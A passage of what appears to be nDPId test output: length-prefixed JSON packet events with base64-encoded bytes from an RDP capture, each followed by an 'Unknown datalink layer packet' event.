+02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1263,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":381890,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiEEAAfwYix8CoAo6sEAK5DT3NDkeehYP5vRaqUBD2cObUAAAXAwMGbwAAAAAAAAGY7Ifk6cm9Oh7xm4QKVg38xsbRGepq8VdB9EaYI7FmJ7GriR0uSzm4pXtTuq5aCP9mqn98y5qNwEChPurSRXWOTGjrgqCInmQuVS9wJ6gPGI6YHvLGKKTMZ51ofKZGf5oBKRo5gLLUFYs9AYhazEtHShE+DmlevvzcUulwU8MJCkdRri\/giDQuyncN3KiR0xr2QT8zlcX+QcOaK1aAUHis4ac1X1j8gQs\/LMVWI8mSJuz7PB\/DJCKcoBn0rdMqy3Fu\/bXrTzak6TO4fZzbVpNdstOsOpFsWYP5HNDtKi5AtDQm\/GWm5vZAyXeJlCxxCk5iqM+MxBuMhLVgoJoaHv3B\/KzyAq6yIbB\/9eCHwUtGduJojC4zjTOc2LNEz1q+yaq\/s+ZcWPOIi49WK6B+cro\/NPp5YEM+FB7H+3KmaFIpPXuisXKJG\/o2GPuDauHKoD+lXEHqyAdPaz6htCiq6wMrhcH0mem+F94aUSUURfvOdNWsOe\/jKytrwmleVNZE9WnIIHHhfgigEQ9dJsPR1NixM8xSqnAzEPaYjxmrVDNCvbynbUJtxNgH+05Jy+s9HO7H5tL8NC0doQVnMdg0hNr+I2lzlJp16UyXo2yLiOVH1K8W9r3Mxbco0Ir7rSHE4e3uVmSaUBiLDQ2QIMWHKrDLjXPQKd5s6SZ\/6AHRB8CfoSF2E1GQNKGX4xm\/Tb\/SxX4wh3kKV4vNKJcXCWdwRbC5jEA1fw5HI9hF9SubIy8vaKWV0BBJAZO3RVzpwWgZfUTJdt0xAxq4bIssng3ZBk8BbnMEHsW7ATvpS\/yO2N4RqtClVu59bPd6j9RclZ8nkiLQ8IVjvKc4XkbUB2566RKMe0OipnFROQ5DmgsTgtS3nioar5OoeAl5qnSsYlL9vBCiDKMYcP2xxwQbKrJcR3gwLnvoddSB0JSfamBFVsV4uPd\/R5XAidkz3tDC1TGVJSTFRpKK29olKEDCX+HKATlsJ6tc\/\/c2Ew6y0qGXkdzDWuSkVoWUbduwUha9rcLIHsZ8iIzCAVuBNcb5xKnReY4aoMA5Nll8BNbLh7YhOngSAXUJsrAgXFEf9Um5z4BNinNW1Gym0ldggwLSfny8fjQcH0Upr9FhkSuBrBIu18h83ycaDl9lw0tWSXQFSQ+NUpXtvq7iwK5wMl05FW2EomcbgYalk2R3QJJ1RIVKLmkxw3TYRdEws8txo00SOvHlnHWfUBqYgshJPIOH5UpMDqpiWoFvK\/Zn7xMCZQ9gEpRkb8e1RImI06\/OrqyvSl2gOb6EiLJ81RPkMf1vZsTD4mdff8AFthTa3ovyBFBIBpWpVBFBxnAY54B50\/xiONcGFE9KOtQBYOaktD35QoowmpElW2qF8iJhjkoLn2ebivqQ4YRxnrOk+EwDImc3NnpDJuw5n3Px7l6WMtpczCgfsl\/Wv1L4FCdVMa5AUlRFEPnksw3zwg0fG8lpUKdgQa2kV5axf1HjwyW2pcQFnDpWQS6nmwj\/bHFY56rtNaLIDYKSNqlB27+IihsIUoxb9mUNCaAcBrAA8oXUZJR2dhnpFEgM9G85sWQfS3dxOVxAUyt0o4gf2zhqR29C9SMjdmnQaPclCRIXZOKPQcsUe+Wqy4GJ+ZdQl8IWtjbYGqw+vXrgRZ2PwDOZeEL4zl7MpaPf6YVTZoPxOS6j3FQPvXng"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1263,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1264,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":382248,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiEUAAfwYmRMCoAo6sEAK5DT3NDkeeinz5vRaqUBj2cDHBAAAjO9tZTWqiFCTGwQ2hWV88PXLS8+jgwnNMUh2Q+KBwap\/ib9J2WL3Y8OOyZbvKxxdJc2AwZVxUlZEd9qE8NefFoe+KyY4Qn71Xehs7rUn7Mhh8GFtL+n2mVMkEB2NutpDu61OK4EjEbNl79N8ZYCaPzaY1HbBkCmUnLxpSSsH9vRj8ylL1sG1Xs8wQ7Vr1jnfu\/Z59bBpdNvuHOGdV8Zeb4fokb0VdRqSDjNdeqqzgnPmg89PldvAk99I3MuPXF4LK+aVyuX6dLK\/i5wL35AHYHa3iBKGiADZusuhCmQvoTKo0M+NQJBeuUYd6pqr\/7VsF9t+1kQLqrvm2AByK9FpTP0ZAGkUsrLMtYhVgjNh8Un9RkNlL+J8DsYFCyiaSfRk9VoNzr6m\/098OfjnE1ol\/fe1PlnJpJQrX8rPRXbIguTQjllV7Aw3Ak4JuCW7WOOWnbnGnBT8Kwk3dklSjkH9220PScNls++G+D+7eWvuI5ZTaGM6MmSvi4Uas"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1264,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1265,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":382291,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GJJHnov3UBAf9F2vAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1265,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1266,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":382455,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iEkAAfwYnicCoAo6sEAK5DT3NDkeei\/f5vRaqUBj2cK3OAAAXAwMAMAAAAAAAAAGZWZzGVtfvCvF\/OHhc+ziIsT+jwCAxiJHeVtMImpD6bocBeDHIxLFxmA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1266,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1267,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":382875,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iE0AAfwYniMCoAo6sEAK5DT3NDkeejCz5vRaqUBj2cMubAAAXAwMAMAAAAAAAAAGaj8RG5Jkqc9iucKx1gFgQuIHxrtjmiIIz3etgy7xZZdBRSM1IKsf0dQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1267,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1268,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":383193,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GJJHnowsUBAf\/l1wAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1268,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02068{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1269,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":384243,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiFEAAfwYiw8CoAo6sEAK5DT3NDkeejGH5vRaqUBD2cNQ+AAAXAwMGbwAAAAAAAAGb0m\/p2q+GoEKK2bmj0+Vqo2YaSUuMVimfsePAFVByskAQbdhbUEr4mE+QHbEO3P1FE47RczpTgYDYn6yA1QGpEB+gBoTm6CYVo4NxBqtsVtge7TsCwSXu41OEB\/UyaPGBub1gDNRJ8ZOKTRbewRxFYM602ty9CYsA9fcxh3MQ2Bd0BczmK\/mrGPX7\/YCLVUyT8tlJmHPpfDTlf3H2djINqRWsoQb4psJgaczJt8X1OCgzuz7o64WKSHjxPJUjMcpys6YJwrJ200BYva5NN0RoDYNfUZ+7IaNzVpO24taq0\/+c4rikOPsdea3LLvCFvC6XzHHWB32MA5C0jvTIdRKBR0nchviuvZ2LUeNqKjd6RpfaLomWl2rcCmJkm7FLrXr6uD33HeBDxmyxilPyM57nftwFG4yasd62bYolri0zIEtIPzhxMim0ag1EegR1E+GChmo9LDgTEAhzSQ6jPqLmgHO2sKzrDMNeed1agcx1F7ohq90tPVTQViEADx9s2XStLtdMupMbF4Pw2vhwv+kcZEi+6+TsNX5mHiAO8BRW+Ev4xD2kR+6mWCzuyPtLWvtWCEnUJnBduxtvIfZCEYy1FAfCmXYY1HSlPs0Qx73iENKmLONPBisV77EA0t5KdJEf2c6iUV\/t9q1Fohz4fvvfp28vbbphfBv0saYHQc5Oi0qn25mmqWxs1XZbgEpUoTaV1E790gjyXD+Sfyy+YvwKnOQQwP9Dg+7\/mI679sV4nOnOWPmtb4xihEK7R237trTfbGDy3e1snPA4+ncq581cItEKTywUjNQ8gXN2bbpnBGrbp3QWIkIpfg1bbcE7JdGsSvx5xYy1ncDjW+cX9aIUGXoNoy1ntQ33NFYKpSe02uQZFPC9m+Wb3Qp8oE6xRJckzXP1hcqQoFKeicX48ZAzB8r8vu\/GpOTXq6r4gGsFSc5zZT\/EIFI+MLelxhuUuvh9R1NIh0wStzCffrYySfjVsjRWJh5crvj1yqu\/mDOgbO\/qSdjkH5MhuK0kc1vKkrOltSJKJiqTiV0X2VOtBN5JmW3KvR80bLhV8cM+aMYCJ4EU+s1hPxjSTpjy9yegGZTQjjcgtw8zAqEom9I2RPg9ce1fHrl4P3+BXRWforR7yWrmeBlM8dk7C87H9RKs1O4UbOPrCvGAGGclb3YTAlNJ1h4e7u3bMY77TWCVK613jRNGFf33hSKPnOVaIKpovjHG2xIvqm7fNnE4D7TZojCF1LA5RjTQv+DYKq4QJraZp4CFvabCBQ1wdhtc+SxhGflTH3qFzQabXvzLMvyLVuRbQ9xDAakHzl6AIiwvoWo4A1kk63Cv3zK9BUW7PsVlyQ+IeDqG1OLR41n+c9WYflq1MUshrvqDwt0B0gMOatHg4OKWTP7ZkvIIhew7U5hXZ35v4L3VMeTF6WdMQJRwKYUrlgDEaf4Oqf5gAQqgRhEjCz\/dF0ZZ1hFKlshZdtOF7in62VwBp18w+0Fv1wAZdHsEu3XLToQQj7\/akqcUuZDBbyHmiEbErqFLp5W3LNNkQRdrvdzS+LZNvKhJBktmaHa1W0AjOh8VQYf97a7WoJ9eCDmSNmcXP\/OPZRataXfFaOmb\/BN12Wajl+3kYpvTLJaoumN\/E6t2PmfmIebMkuRM+2Gk7Yi687KtYysA8zY21OfsW3Ju6\/xKwDU27Nfc"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1269,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1270,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":384564,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9GJJHnowsUBggAETJAAAXAwMAOOAIO32NJwwQpBBiQKwRh\/MojBNHjtN\/JFKqOWTRyLJ2fTyttdYYqb3w8z+qIyZGIDytjstYA6tv"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1270,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1271,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":384684,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GM9HnoxhUBAf\/lz+AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1271,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1272,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":384785,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiFUAAfwYmQMCoAo6sEAK5DT3NDkeekVr5vRaqUBj2cHulAAAfZPRciIYMdop4825jRKDao612JA3DxFlrvHsMDCCEH9LRQny\/Uu8NNT+Tu5IMEFsWUFG6GCENMlxEV5QHI5fAnanifdGQsxGey0M+JiZwaVpuPCEtKPzMYVrDse7C2JvR1fvCnRMeJMvtO2+jdQzdJHdqaHmuQSfww\/bKt5Llj5Wmh1WaHOeMkUoel4Vo6PJJ2FdbdOPMGwe0vDxEy2AvnSCl13oE9nzsQvFT902T34B8lWBshaxJfgtV2d8MIUnDJCZH8B2ajLZsiAOe4QIv9s4dSMeR57eDARgam8mTP4FUXk0MR5tKlXbySrBRJBd6ZRgHzwUNLVribukhfW0YYelQI2LvIU23jWmo0sVmm0+SykXuskl8eSiko44bFQSIbqKPokFa66w9HKBBDU3FEyzf50xqZS9bBbBuXf\/VZOff5oVEe\/YaakymIXEH9724qkUS3xgRx01RhozVOTzTRtrkdGxIJhRTlBsq\/barQ20Y0QDErgP9sbWS"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1272,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1273,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":385170,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iFkAAfwYnhcCoAo6sEAK5DT3NDkeektX5vRaqUBj2cIRpAAAXAwMAMAAAAAAAAAGcWAGbM0au8NdlZg\/qjTobzFnhck3oo1xew0k18mQT25\/vYJMgo6HXwQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1273,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1274,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":385540,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GM9HnpLVUBAf9FaUAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1274,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02088{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1275,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":385657,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiF0AAfwYiwMCoAo6sEAK5DT3NDkeekwr5vRaqUBD2cH1IAAAXAwMGbwAAAAAAAAGdFbdsJYd7ooPZSCYPnA5\/IIhicaR7rZRV63bMIRkRbLUBdYekif\/odIIfiBDcZKQc5iYdJSwRcxaE\/OYZ8szPr8GYWUcsY341bKU\/dQRVXP6699nTOC3btEg0ptcUsrZpCtddv3k280M95GbOnXzryB7jCgtT\/q7YvFKlU1YF4jlzmPCFKCOpQerJ+bmLxcX2QQj2zMOEAVTZiR3JwzB1OSpLzAg2vGFedgPyIpZDewTI5Yr6n1EPVZ+KBy495tuqE0oYCD\/X0fflCO4qHVjuICXqDLnn63gJWz1Exk3PfNaX86BlAOPISlDJZfrU90gzoqyp0H7hGg0NcvzaVVsvyjKhYaPxnDrbmARgyaUoGzIQZWcG1Qbw3WTrj0xxIGzpLAb4yxMOc5Lu74A0Vg3cUD9GfxqDEiAkN\/I\/71\/Hk6JmN0OLJDu\/DI2F2WxFM5d4Jm+WGEp5yP9Gugv1jQEWlGyqR+bNhRKDEi2gm5AOGIwHmvU3aIrEdHNdpSRZ2H84M4O\/\/Pibjbr8vMLIDOoaNDURcePmSubVIexGKFzhedHukts6x4IZuysBPCM\/UH2cxo5bkHq5Zwum9So9vB9ABO\/2VFGTuqh4cjrl\/eZBLgJOEXFUmmodcPEDTQXaHyRw45kbAG5dT3\/xmcqhbE5ke12ZbRbwhi63hte2aBQyUJuPBp1OR1KsJTWEYPmB0w2XBPDq6okF6WPg22amwZjBw46\/aRY4goey2RuRpkbZWhBLr\/w6HMNPVvmSVe8tlkC7G+R3OvM\/qIfVf4R1fY7iwwvrPZlkVeKWqR2xP7I0tlyAuJgIOxc4UeD+QACgw1kVE4cnR7mmjoLXt9K2mrgZGuYHw5TA0udBsN0vKpe2G9wN7G\/zex0kMqpIziJ2\/naYXZIarLMm+dlWKybqyQnlvQiUV1BW3zCFmTRSBoHyEVvkRcDC8WLCHwgidKXXacdCoQkb7QgfuMGMi4z8R6eiSs\/+OnUkc1qXdAloIpdRb+2DN\/YwVqjBVKtDBu3ngl\/DFXhFdGVTIbjrrjAsELTI4VP9qFISY2EM0fvF3iSpfkujaAxuQsM9oh9YMdBtB4lCxaJTXA2wRfYxHGA559w0XvgvUm5AWSqx0y7Bc\/6UcuMeEkZVfm6K2r22ojxoPzlB9csgBuZQ96LYBAvm8cSpE5fQrd\/aeF6NZciWxTnQWH47QfmB1XmUOaL3Suz4Nm\/9eNkQ2Z4k\/SVMgUqNKMY3pntyqf2snmjb8MG5EuufzXTXW48uHXdUxCFOfyxwdk5vZ8DnMYIDU\/\/yumMKXgKKvxp1cQ81h40JwC+3LutiLBvVVNLGb5Te\/rei2chOTcYCNbrD1dvM8uZaNAeJZDk8vJiXY\/v1qrn4Vio96Sr0CTjqdJmRry+BkX5RHGEKxACFrtXyyWwn0dNvnnxECvHwQLkYxmW+2n5F1nzhySwnUmBRTAtoJulUL6L3EW6lcbNuLnZueBc6qbs2f96HxnO5gP5Kk4VRuRaybkVkDy\/T9nkhF7ssdPx2oVYDwLFYOKmtdu0L2s1u94w8aUj2mXMb5tv9MEs63CV3danp\/N2wR1XZ\/HIi0Jli2+uyZ2LOF4r1qmvyf+sp+Ez06ZfbIgW\/GUJxAxNNFa4IkT3OzwVxE5sghBhUTjNvr85CryaWDbvC6OFK0MdnPZhwfW\/V"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1275,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1276,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":385680,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GM9HnpMKUBAf\/lZVAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1276,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1277,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":385991,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiGEAAfwYmPcCoAo6sEAK5DT3NDkeemAP5vRaqUBj2cLg1AADcV19OJqoIug4bQGJJO0ZdNh7bhHj8etyWx+2e\/0DtgEQKa4QVVN9AM6OoL7TuN7xQ9pGsboOZJGgqXf5UyJErRDcSvKcbUTgLmGuIQgtvbEGHinkfq6WE\/XDPra1dUgDyT4Ic4SIAIOm5mSYb7y++O+DjEp916StW7kEstBiFqDm7xuSku1D+lmqQEG+oxvj2RtZJ8mTKZ2IZ1DB0gPO8NkiV1qIQjSwXsQ0bJxvjoJJg\/Beuw4fMRC96Y7mGwge4lHF04NaJUYeLbD5GiqetHHngqMUS5QDdRzuFsEmLmXwpBT3jtkErEBBCfYm1YgTMUHxrkaYKXV65Im+S3aQ8TGIMa40HLweEJlPsYSeMQzVut\/U5\/YepaQvCKXgoc0gR5jm8qbgvBb\/5xWykERzX8kOYPJtgeMiGAkyDO5ZGD\/wyEJ1s4eB7qCON3ziAFL19RHVR7IyZaqPkvevbGNVC2S1LBRWsgqH6qix+wqP4qEej6Yzw8vbOWph8"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1277,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1278,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":386245,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9GM9HnpMKUBggALMUAAAXAwMAMOAIO32NJwwRFd\/32rBAbkUbFNJKs99WxatpzL3xRwk8hl3LZjRPchx0MevuvWSc9Q=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1278,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1279,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":386373,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GQRHnpl+UBAf9E+2AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1279,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1280,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":386490,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiGUAAfwYivsCoAo6sEAK5DT3NDkeemX75vRaqUBD2cF+aAAAXAwMGbwAAAAAAAAGeYtq5i6IMoNWBeHN3hYSIWdPEfFFadhVZxTTu5m7pQdi4t7u8mbDuCat0D8x7+BOGyMYcNNlzmh\/mQRKTXL0C1j4phM2aKYhNOk2Mn294GGbDabwLB2cBGhvqMNh2wEU8pWDHIvogT6s3zUedY4grErwS8ogSUWoEfRwIu+DMeY8htSj1m8gDb56Auu7qW\/N2URlv9UnTqq234dwfL3MKeg7uCmtb4WshqXVZ1Al\/xhcwi9lBepDxSA1xh69oyV0SwIm5ro2Cpfhp1fgd7FOMNPJwEdVcMPitDa8sZCDkphhVHRtwDnP0xxsqQZFmXs6ilnzYA1ZNEkJsH6CuvK90irA37R1rmAaVX1zt8GksghK1aet6u3hCSc+vsuNWM5tw0+ISbNBsd\/BZEb0uH6P5ms9JyW5qsy8Nunig0vcqSBCGYqh2Ay\/6lj4R9nkFhWi8uQOjcJZSp+aUSnwWAsOs779u9cOURXxYVV8YQecJZd6jYQWH6iuKVl+zu7Lla9OmSCvlcpMc4awUU7xF4JAn2Vf4y3dcGrEJbP69fDmsFqZxCnckC8Nmql4A6NVoTrHwS6MiZwFEkvwOmnxJqt9ZNtjb76270vh9C0g+3xi9LxrG9QzDUtXZmqdKBYvvI86Pw5HNOQv\/GmjFvJcEn3EWeyye\/zV6ZEc+I0iXCumubYQFZRTs9hjxCtPXqCv+rneFsXXxYnutSg5M3pKn+9LdU\/H\/4FrMnqhhmlda4wC9F82Tg8KOhkHlIeVG+Z+s9JD9A\/H8laNDnE7nmp0dqJhm0oDOgMQucJ9QmMh7E5TtN\/qJ0MIynzo0T8TX3OiJjO3vKjOfT5Vn8HCGlcALOkICwIv64x6j\/xMMcjzT8ZCNm0mEG2q9OTe4\/GJ5F8hihTwiXZ7aQQRsOJHXn9yRH3jGnQmtz8oSrZ2oGEGiFkXZqcKTh7thfrMleUbC1lQ+0QOZLxC65VRmF1w50athnSSk\/yOpf2wb7SVnCaJ4R96jM6dvnawfcpnsVjo2sndnJWQpCuP8vnKFk5uodEvnY\/SC5l+WE6cg6gZtKvyBPOEwJlUSSpOjbYo9x6E\/WauqOwk\/CyuDy4i33QHF\/ObRxZucbj5QsodIqmwgcz9TmDNfIYUt6nVuSITL5XuqFfpTqdP4uQTX\/8ofgwHgsfYsKdN4NuOPBUkB0tqdJQjXHt+Otp0g3rcYcYDv+C4KSm7UzOG5+TJOTseGy0gwOUjdbjjgePILR0sjNpisPASixWVTWZmpkRFGSXwsZfux672xDGNOsw7DClFFcbsKp8HvekSb5fFqh7orPyAJKye0i6wxAczWjQeZqFeTaSw0ybdaMT+ZToE2iJDFZJ9K30CokusWhsMdt33+fVNDeQ5dh71aKQaUIEZDgf274fxWG\/Dx7g7XedesWFVJIyOp0CRDmKMzG1n+ZnKc2cwSkHMOQJu1qGj65Nz+J3VHp8vw+KB2g8RUS3Yqg9yf7xdqQnYOGpybVuiL9gBxFuGxndmz3c84btjBYpFlhCCT4cXIpw97LcSeBsx56lEQBOcL5\/OwKStZDKaWWgAhITBJRPr67M4CbLnQzCmdBEVk0NDE\/+sjjaH3918OMD\/wvYGaUFWT7XzowJcasVwukzRR0wsja8WNkVB1OfeLWI9KfRxr5CMrDPCh9NwN\/W4vvr0eKr3B"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1280,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1281,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":386673,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiGkAAfwYmO8CoAo6sEAK5DT3NDkeennf5vRaqUBj2cDrpAAAGFqCfEJVizIa3IrskMsI9Y8CbYDHIaBEEwqZSWfN\/bI\/3xM+lhtnG+1AQr90J4zYnCb\/B02fnADtRC1rKI78nR2hxtjTSPeHhexRTyUHyj9\/VVUt1IQCsqYr5gLbWGWpSSHq+\/xbP0QbP02y6gd9mtSATfyliRGMu6tuc7o1nKlhzhvzCyBenl0ohhOHPVHaIkRTI8YkhxjrwL9sGyZTC26kD63yO1mwt3cQgogyZ154kuhGeFyuj8FFu+yPKyi+mkYNmwYIoZDxsTGcDmI0BuxVfW0gNRB5YmO2ZzglwK2MEikpUFTg1ouhwMEq6oeBDScqMQKbDvloQPISmQuB4Kce\/IPlcC5S7zLSc8YHivuGdC9PcPxOmnh3bMBdf7WsmrRum7itUIwTwJDx1lo1VX2EhfJSag93BLj87G4Jxpssn55jFbSXGSe1S6aQiBg7EenAPpx+BBEgizWz932cfPwI5IAVTxnIBGAKmSwAHHAMRRxFJ7odw6QHO"} +00175{"basic_event_id":1,"basic_event_name":"Unknown 